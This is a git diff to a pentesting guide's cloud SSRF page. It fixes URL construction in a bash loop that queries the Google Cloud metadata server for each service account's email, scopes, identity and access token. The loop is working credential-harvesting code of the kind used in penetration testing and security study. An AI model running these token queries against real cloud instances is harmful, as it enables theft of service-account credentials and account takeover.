diff --git a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
index 93683f985..1eb3e1d8d 100644
--- a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
+++ b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
@@ -218,11 +218,11 @@ done
 # Service Accounts
 for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do 
     echo "  Name: $sa"
-    echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/email")
-    echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/aliases")
-    echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/identity")
-    echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/scopes")
-    echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/token")
+    echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
+    echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
+    echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
+    echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
+    echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
     echo "  ==============  "
 done
 # K8s Attributtes